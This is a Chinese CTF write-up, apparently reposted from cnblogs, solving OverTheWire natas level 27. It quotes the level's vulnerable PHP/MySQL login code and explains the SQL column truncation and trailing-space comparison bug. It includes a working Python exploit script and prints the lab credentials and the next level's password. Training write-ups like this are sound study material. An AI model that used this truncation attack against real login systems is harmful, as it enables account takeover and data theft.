ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

Overthewire-natas27

2021-05-30 21:04:25  阅读:186  来源: 互联网

标签:username res natas27 link user mysql query Overthewire


Overthewire level 27 to level 28

function checkCredentials($link,$usr,$pass){

    $user=mysql_real_escape_string($usr);
    $password=mysql_real_escape_string($pass);

    $query = "SELECT username from users where username='$user' and password='$password' ";
    $res = mysql_query($query, $link);
    if(mysql_num_rows($res) > 0){
        return True;
    }
    return False;
}


function validUser($link,$usr){
    $user=mysql_real_escape_string($usr);

    $query = "SELECT * from users where username='$user'";
    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            return True;
        }
    }
    return False;
}


function dumpData($link,$usr){

    $user=mysql_real_escape_string($usr);

    $query = "SELECT * from users where username='$user'";
    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            while ($row = mysql_fetch_assoc($res)) {
                // thanks to Gobo for reporting this bug!
                //return print_r($row);
                return print_r($row,true);
            }
        }
    }
    return False;
}


function createUser($link, $usr, $pass){

    $user=mysql_real_escape_string($usr);
    $password=mysql_real_escape_string($pass);

    $query = "INSERT INTO users (username,password) values ('$user','$password')";
    $res = mysql_query($query, $link);
    if(mysql_affected_rows() > 0){
        return True;
    }
    return False;
}


if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas27', '<censored>');
    mysql_select_db('natas27', $link);
    if(validUser($link,$_REQUEST["username"])) {
        //user exists, check creds
        if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
            echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";
            echo "Here is your data:<br>";
            $data=dumpData($link,$_REQUEST["username"]);
            print htmlentities($data);
        }
        else{
            echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
        }
    }
    else {
        //user doesn't exist
        if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){ 
            echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
        }
    }

    mysql_close($link);
}

这是一个比较直接的利用username, password在后端数据库进行验证登录的过程。在输入完用户名和密码后,后台会去检查是否有当前的用户存在,如果没有则生成一个账号,否则输出该账号的信息。

后台在字符串拼接的时候对sql语句进行了过滤,因此基本排除sql注入的可能性。但是在SQL中还有一种攻击叫截断攻击(SQL Column Truncation),就是当输入了过长的字符串后,超过varchar范围的部分会被截断。在MYSQL的配置中,如果没有开启STRICT_ALL_TABLES选项,则字符串被截断后只会给个warning,而不是error。

CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);

在该题中,每个字段对应的长度是64个char。

另外,在mysql中,字符串尾包含空格时,可以查到不包含空格的结果。即如下两条表达式的结果是一致的

select * from users where username='a';
select * from users where username='a ';

基于以上两个信息,当我们往表里插入一个'name' + ' ' * 64的账户后,后台如果执行类似于select * from users where username='name'这样的语句,则不仅会把我们插入的账户给查出来,还会查出原本数据库username='name'的账户。

注意这两个函数

function validUser($link,$usr){
    $user=mysql_real_escape_string($usr);

    $query = "SELECT * from users where username='$user'";
    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            return True;
        }
    }
    return False;
}
function dumpData($link,$usr){
    $user=mysql_real_escape_string($usr);

    $query = "SELECT * from users where username='$user'";
    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            while ($row = mysql_fetch_assoc($res)) {
                // thanks to Gobo for reporting this bug!
                //return print_r($row);
                return print_r($row,true);
            }
        }
    }
    return False;
}

validUser并没有对去除$user尾部的空格, 且dumpData用了一个while循环来打印所有符合的账号,这里算是很明显的提示要插入一个和答案相同的账户了。攻击代码如下

import requests

auth = ('natas27', '55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ')
requests.post('http://natas27.natas.labs.overthewire.org',
                     auth=auth,
                     data={
                         'username': 'natas28' + ' ' * 1000 + '1',
                         'password': '123'})
resp = requests.post('http://natas27.natas.labs.overthewire.org',
                     auth=auth,
                     data={
                         'username': 'natas28',
                         'password': '123'})
print(resp.text)

第28关密码为JWwR438wkgTsNKBbcJoowyysdM82YjeF

标签:username,res,natas27,link,user,mysql,query,Overthewire
来源: https://www.cnblogs.com/wudiiv11/p/natas27.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有